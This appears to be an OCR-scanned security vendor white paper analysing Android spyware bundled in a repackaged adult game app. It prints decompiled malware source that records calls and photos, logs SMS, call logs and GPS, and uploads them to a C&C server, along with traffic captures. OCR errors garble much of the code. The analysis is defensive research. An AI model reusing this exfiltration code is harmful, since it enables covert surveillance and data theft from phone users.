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Foreword

Android malware is neither new nor scarce. If anything, the proliferation of Android devices — from smartphones to tablets and smart
TVs - has sparked renewed interest among malware developers in new and potent threats. Even government-linked cyber-espionage
groups have been leveraging Android malware to infect soldiers’ devices and track military units.

Since smartphones have become an integral part of our personal and business lives, imbuing them with surveillance and data exfiltra-
tion capabilities caused by malware, can jeopardize users’ privacy and expose them to data theft and cyberespionage.

The capabilities of Android malware are similar in complexity and surveillance capabilities to PC malware. From enabling remote mi-
crophone access to full camera control or access to all on-device data, Android malware can be stealthy, highly targeted, and extremely
versatile.

Bitdefender researchers have identified a new Android spyware that seems to act as a framework for building extensive surveillance
capabilities into seemingly benign applications. Found bundled with a repackaged app, the spyware’s surveillance capabilities involve
hiding its presence on the device, recording phone calls, logging incoming text messages, recoding videos, taking pictures, collecting
GPS coordinates, and broadcasting all of that to an attacker-controlled C&C server.

The most interesting fact regarding this spyware framework is that the application was first submitted from Russia and the majority of scans/
reports came from Israel.

Overview

Discovered by Bitdefender's machine learning algorithms on 20.07.2018, the sample’s first appearance seems to be 15.05.2018, when
it was uploaded to VirusTotal. The application seems to be a repackaged version of “com. xapps . SexGameForAdults” (MD5: 51df-
2597faa3fce38a4c5ae024£97blc) and the tainted .apk file is named 208822308 . apk. The original app seems to have been avail-
able in Google Play in 2016, but it has since been removed. While it's unclear how the tainted sample is being disseminated, third-party
marketplaces or some other attacker-controlled domains are likely used to host the sample.

As it was only detected by our machine learning algorithms, a subsequent investigation revealed that the spyware has the following
capabilities:

1. Records every phone call (literally the conversation as a media file), then sends it together with the caller id to the C&C
(incall3.php and outcall3.php)

2. logs every incoming SMS message (SMS body and SMS sender) to C&C (script3.php)
3. Has capability to hide self

4. Can send all call logs (“content://call_log/calls”, info: callname, callnum, calldate, calltype, callduration) to C&C (calllog.
php)

5.  Whenever the user snaps a picture, either with the front or rear camera, it gets sent to the C&C (uppc.php, finpic.php or
regpic.php)

6. Can send GPS coordinates to C&C (gps3.php)

What's striking about sample is that it's completely unobfuscated, meaning that simply by unpacking the .apk file, full access to the
source code becomes available. This could suggest the framework may be a work-in-progress, with developers testing features and
compatibility with devices.

The C&C (command and control) server to which the application seems to be sending collected data appears to be operational, as of
this writing, and running since May 2018.
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Spot the Difference

The malware application is almost identical to the original app, both in code and functionality, except for the malicious payload. Start-
ing from the app’s icon to the in-app screens, the malicious version seems to keep all original functionality, potentially so as not to
arouse any suspicion from its victim.

Running App Screenshots

- i .
sex Game aex Game
Clean app icon Malware app icon

Clean Malware
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Malware

Please walit... Please walit...
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Clean Malware
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psp.jsp.datamd.COMPSM
psp.jsp.datamd. GPSERY
psp.jsp.datamd.GVE
psp.jsp.datamd. HICHI
psp.jsp.datamd. INCCALL
psp.jsp.datamd.INSM
psp.jsp.datamd. MNACT
psp.jsp.datamd.NTER
psp.jsp.datamd.QUCLRC
psp.jsp.datamd.PCLG
psp.jsp.datamd . PRSTSRY
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psp.jsp.datamd.SMSRY
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psp.jsp.datamd.VBCL
psp.jsp.datamd.a
psp.jsp.datamd.aa
psp.jsp.datamd.ab
psp.jsp.datamd.ac
psp.jsp.datamd.ad
psp.jsp.datamd.ae
psp.jsp.datamd.af
psp.jsp.datamd.ag
psp.jsp.datamd.ah
psp.jsp.datamd.ai
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A Closer Look at the Spyware’s Capabilities

The app communicates with the C&C using a single IP address that’s hardcoded.

package psp.jsp.datamd;

class v {

public static String 3 = “0v;
public static boolean b = false:
public static E-Lrlng c=r"r
| private static final v & = new w{"122. s

privale Stnng d;

viString str) {
this.d = skr;

¥

public static v o) {
return &;
}.

public string a{) {
refurn a;

by

public woid a(Stnng str) {
8 = str;

}.

public string () {
return this.d;
¥
H

It can also hide itself, but the functionality is not used, and isn't referenced anywhere.

package psp.jsp.datamd;

import android.app.Activity;
import android.content.ComponentiName;
import android.os.Bundle;

public class COMPSM extends Activity {
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
requestWindowFeature(1);
getWindow().setFlags{1024, 1024);
getPackageManager().setComponentEnabledSetting(new ComponentMame(this, COMPSM.class), 2, 1);
if ((getApplicationInfo().flags & 129) == 0) {

On incoming/outgoing calls, “pid” and “callid” are sent to C&C.

(8]



White Paper B

public String a(String str, String str2) {
HttpClient defaultHttpClient = new DefaultHttpClient();
HttpUriRequest httpPost = new HttpPost("hctp://™ + this.b + "/outcall3.php™);
try {
List arrayList = new ArrayList(3);
arrayList.add{new BasicNameValuePair("pid", str));
arrayList.add{new BasicNameValuePair("cal11id", str2});
httpPost.setEntity(new UrlEncodedFormEntity{arrayList));
defaultHttpClient.execute{httpPost);
return "ok";
¥ catch (ClientProtocolException e) {
return "error";
¥ catch (IOException e2) {
return "error;
¥
¥

public String a(String str, String str2) {
HttpClient defaultHttpClient = new DefaultHttpClient();
HttpUriRequest httpPost = new HttpPost("hcop:/ /™ + this. + "/incall3.php");
try {
List arrayList = new ArrayList(3);
arrayList.add{new BasicNameValuePair{"pid", str));
arrayList.add{new BasicNameValuePair{"callid", str2));
httpPost.setEntity(new UrlEncodedFormEntity(arrayList));
defaultHttpClient.execute(httpPost);
return "ck";
I+ catch (ClientProtocolException e) {
return "error";
+ catch (IOException e2) {
return "error";
¥
¥
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TCPDUMP.

FOST Jfoutcall3d_ php HTTPS 1.1

Cortent-Lengthr 22

{ontent-Type: applicationx-wew-forn-urlencoded
Ho=t: lHn.

Copnectlon: Keep-A11ve

Pzer-Agent: Apache-HEtpllient/UNAVATLABLE [Jjava 1.4)

pid=0Bcallid=1Z3458789HTTP/1.1 290 QK
Date: Mon, 38 Jul 2818 16:55:38 aGM
Server: Apaches2.4.4 [(Wingd) PHP/S.#,.12
K-Powered-0y: PHP/S.%.12
Camtent-Length: 2

Cannectian: close

Lontent-Type: bextfhitml

POST fincalld.php HTTRSL.

Cont=nt-Length: 22

Content-Type: applicatlonx-wwe-Torm-urlencoded
Host: 1&8.

Connectiom Keep-Alive

lsar-Agent: Apache-HttpCliant UNAOMATLABLE (java 1.4)

pld=A%cal lid=123455TEaHTTIFR/1.1 288 DK
ake: Mang 10 Tl 2848 16:54:18 OM
Servert Apache/2.4.4 (Winsd) PHP/S.4.132
K-Posarad-By: PHPSS.4.13
_Lontent-Length: J

Connection: <lose

Lontent-Type: testhiml

String stringBuilder = new StringBuilder(String.valueOf{obj)).append(v.c(}.a())-append("-").append(h).append("-").append("05-02-08-36-18").toString();
k = stringBuilder;
try {
j = new StringBuilder(String.valueOf(context.getFilesDir().getParent())).append("/prefix/").append(stringBuilder).append(".dxz").toString();
} catch (Exception e2) {
e2.printStackTrace();
¥
a = new MediaRecorder();
a.setAudioSource(1);
a.setOutputFormat{1);
a.setAudioEncoder(1);
a.setOutputFile(j);
try {
a.prepare();
} catch (IllegalStateException e3) {
e3.printStackTrace();
¥ catch (IOException e4) {
ed.printStackTrace();
¥
a.start();
e = true;

The calls are also recorded to a local file using a dynamically generated name, with the help of MediaRecorder.

(o]
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Each recording file is then sent to the C&C server.

public int b(String str, Context context) {

a("upload i= gone...", context);
this.m = "ncep://" + this. + "/upcal.php";
String str2 = ™\ x

String str3 = "--;

String strg4 = meesssng

File file = new File(str);

a{"upload is gone 11 ...", context);

if (file.isFile()) {

try {

FileInputStream fileInputStream = new FilelnputStream(str);
a("upload is gone 12 ...", context);
URL url = new URL(this.m);
a("upload is gone 2 ...", context);
HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection();
httpURLConnection.setDoInput(true);
httpURLConnection.setDoOutput(true);
httpURLConnection.setUseCaches(false);
httpURLConnection.setRequestMethod("FosT™);
httpURLConnection.setRequestProperty("Connection", "Keep-Alive");
httpURLConnection.setRequestProperty { "Er PE", "multipart/form-data™);
httpURLConnection.setRequestProperty{"Content-Type”, "multipart/form-data;boundary=" + str4);
httpURLConnection.setRequestProperty("uploaded file", str);
DataOutputStream dataOutputStream = new DataOutputStream(httpURLConnection.getOutputStream());
dataOutputStream.writeBytes(new StringBuilder(String.valueOf(str3)).append(str4).append(str2).toString());

dataOutputStream.writeBytes(str2);

int min = Math.min(fileInputStream.available(), 1048578);

byte[] bArr = new byte[min];

int read = filelnputStream.read(bArr, 0, min);

while (read > 0) {
dataQutputStream.write(barr, 0, min);
min = Math.min(fileInputStream.available(), 1048576);
read = fileInputStream.read(barr, 0, min);

¥

dataOutputStream.writeBytes(str2);

dataOutputStream.writeBytes(new StringBuilder(String.valueOf(str3)).append(str4).append(str3).append(str2).toString());

this.n = httpURLConnection.getResponseCode();

httpURLConnection.getResponseMessage();

if (this.n == 200) {
a("upload is gone 200 ...", context);
InputStreamReader inputStreamReader = new InputStreamReader(httpURLConnection.getInputStream());
new File(str).delete();

¥

fileInputStream.close();

dataQutputStream.flush();

dataQutputStream.close();

}+ catch (MalformedURLException ) {
a("error ex " + e.getMessage(), context);
} catch (Exception e2) {
e2.printStackTrace();
a("upload ercooco..." + e2.getMessage(), context);

return this.n;

¥
a("file not fowyund ...", context);
return 0O;

¥

(11l
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The same thing happens with SMS messages.

TCPDUMP.

[12]

public String a{String str, String str2, String str3) {
HttpClient defaultHttpClient = new DefaultHttpClient();
HttpUriRequest httpPost = new HttpPost("http://" + this.d + "/script3.php");
try {
List arraylList = new ArrayList(3);
arrayList.add(new BasicNameValuePair{"pid", str));
arrayList.add(new BasicNameValuePair{"smsbody™, URLEncoder.encode(str2, "OTF-g8")));
arrayList.add(new BasicNameValuePair{"smssendex”, str3));
httpPost.setEntity(new UrlEncodedFormEntity{arrayList));
Log.i("Fostdata™, str2);
defaultHttpClient.execute{httpPost);
return "ok";
¥} catch {ClientProtocolException &) {
return "erroxr";
¥+ catch (IC0Exception e2) {
return "erroxr";

¥
¥
POS rﬂrripr:.ph; HTTRSf1.1
Comtent-Lemgtn: 55
Content-Type: apgplicatlon/x-www-form-urlencoded
Host: 188.
Connection: Keep-Bliwve

User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

pid=@asmsbody=nullmymessagegoesherefsns sender=123456789HTTR/1.1 288 0K
ate: Mon, 38 Jul 2&1E 16:5%&5:59 O

Server: Apache/2.4.4 (WinB4) PHP/5.4.12

X-juw:'ud-iy: PHR/5.4.12

Content-Length: &

Conpnection: claose

Comtent-Type: text/html

o
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All the call logs are recorded and sent to the C&C. Everything from call date, call duration, and caller name is logged and broadcasted.

public String a(String str, String str2, String str3, String str4, String strs, String stré) {
HttpClient defaultHttpClient = new DefaultHttpClient();
HttpUriRequest httpPost = new HttpPost("nttp://" + this.a + "/calllog.php");
try {
List arrayList = new ArrayList(5);
arrayList.add(new BasicNameValuePair("pid", str));
arrayList.add{new BasicNameValuePair{"callname", URLEncoder.encode(str2, "UTF-2"))});
arrayList.add{new BasicNameValuePair("callnum”, str3});
arrayList.add{new BasicNameValuePair("calldate", strd4));
arrayList.add(new BasicNameValuePair("calltype™, strg5));
arraylList.add{new BasicMNameValuePair("callduration™, strg));
httpPost.setEntity(new UrlEncodedFormEntity(arrayList));
Log.i{"Fostdata™, str2);
defaultHttpClient.execute(httpPost);
return "ok";
T+ catch (ClientProtocolException &) {
return "error";
+ catch (IOException e2) {
return "error";

¥
¥

One of the more disturbing features is camera capture. The application can use either the front or the rear camera to take snapshots.

private int b() {
int numberOfCameras = Camera.getNumberOfCameras();
for (int i = 0; | < numberOfCameras; i++) {
Cameralnfo cameralnfo = new Cameralnfo();
Camera.getCameralnfo{i, cameralnfo);
if {cameralnfo.facing == 1) {
return j;
¥
¥
return -1;

¥

private int c() {
int numberOfCameras = Camera.getNumberOfCameras();
for (int i = 0; | € numberOfCameras; i++) {
Cameralnfo cameralnfo = new Cameralnfo();
Camera.getCameralnfo(i, cameralnfo);
if (cameralnfo.facing == 0) {
return j;
¥
¥

return -1;

¥

c{"cam =tarced");

String a = v.c(}.a();

this.b = "http: //" + this.g + "/uppec.php";
this.f = new Thread({new i(this, 3});
this.f.start();

Afterwards, every snapped picture is saved under a dynamically generated name and sent to the C&C server.

(13l
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public int b(String str) {
this.b = macep:/ /" + this.a + "/pppc . php";
String str2 H
String str3 H
String strg = mer=s=n;
File file = new File(str);
if (file.isFile()) {
try {
a("file exsit and upload process began");
FileInputStream fileInputStream = new FileInputStream(file);
HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(this.b).openConnection();
a{"connection opend");
httpURLConnection.setDolnput(true);
httpURLConnection.setDoOutput(true);
httpURLConnection.setUseCaches(false);
httpURLConnection.setRequestMethod("posT");
httpURLConnection.setRequestProperty("Connection”
httpURLConnection.setRequestProperty
httpURLConnection.setRequestProperty(”
httpURLConnection.setRequestProperty(” i
DataOutputStream dataCutputStream = new DataOutputStream(httpURLConnection.getOutputStream());
dataOutputStream.writeBytes(new StringBuilder(String.valueOf(str3)).append(str4).append(str2).toString());
dataOutputStream.writeBytes("Content-Disposition: form-data:; name=\"uploaded file\":filename=\"" + str + "\"" + str2);
dataOutputStream.writeBytes(str2);
int min = Math.min(fileInputStream.available(), 1048576);
byte[] bar = new byte[min];
int read = filelnputStream.read(bArr, 0, min);
while (read > 0) {
dataQutputStream.write{bArr, 0, min);
min = Math.min(fileInputStream.available(), 1048570);
read = fileInputStream.read{bArr, 0, min);

"Keep-Rlive");
fform-data");
ipart/form-data;bound;

¥

dataOutputStream.writeBytes(str2);

dataCutputStream.writeBytes(new StringBuilder(String.valueOf(str3)).append(str4).append(str3).append(str2).tostring());

this.c = httpURLConnection.getResponseCode();

httpURLConnection.getResponseMessage();

if (this.c == 200) {
String str5 = "File Upload Completed.‘\n'n 3ee uploaded file I
InputStreamReader inputStreamReader = new InputStreamReader(httpURLConnection.getinputStream());
a{"File Upload Complete : ");

: \n\n http://www.androidexample.com/media/uploads/service lifecycle.png”

fileInputStream.close();
dataOutputStream.flush();
dataOutputStream.close();

¥ catch {(MalformedURLException e) {
a{"™MalformedURLException™);

¥ catch (Exception e2) {
e2.printStackTrace();
a("error :" + e2.getMessage());

return this.c;
¥
Log.e("uploadFile™, "Source File not exist :" + this.d + "service lifecvcle.png");
new Thread(new ai(this)).start();
return 0;

public void onPictureTaken(bytel] bArr, Camera camera) {
String a = v.c().a();
File file = new File(new StringBuilder(String.valueOf(this.f.getFileshir().getParent())).append(" /prefix/ ").toString());
a("PnotoHandler called...");
if (1(file.exists() || file.mkdirs())) {
a("Can't create directory to save image.");
file = new File(file.getPath() + "/" + new StringBuilder(String.value0f{a)).append("-").append(new SimpleDateFormat{ mm-=3").format(new Date())).
a = file.getPath();
try {
a(this.f, bArr, file);
a("Image is stored™);
new Thread{new ag(this, 3)).start();
a("Mew Image saved " + String.valueOf(bArr.length) + ": ™ + file.getPath());
I catch (Exception e) {
a("Image could not be saved. ");

¥

¥

Another feature is GPS coordinates logging. All GPS coordinates are tracked and sent to the C&C server using an HTTP Post.
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public String a(5tring str, String str2, String str3) {
HttpClient defaultHttpClient = new DefaultHttpClient();

HttpUriRequest httpPost = new HttpPost("htcp://" + this.f + "/gp=3.php");

try {
List arrayList = new ArrayList(3);
arrayList.add(new BasichNameValuePair("pid", str));
arrayList.add{new BasichMameValuePair("1ac", str2});
arrayList.add{new BasichNameValuePair("1ong", str3));
httpPost.setEntity(new UrlEncodedFormEntity{arrayList));
defaultHttpClient.execute(httpPost);
return "ck";

T catch {ClientProtocolException ) {
return "error";

I} catch (IOException e2) {
return "error";

¥

¥

The application is signed with the Google Debug Certificate

SHA-1: 61ed377e85d386a8dfeebb864bd85b0bfaa5af8l

INFO: C=US, ST=California, L=Mountain View, O=Android, OU=Android, CN=Android,
com

EA=android@android.

(18]
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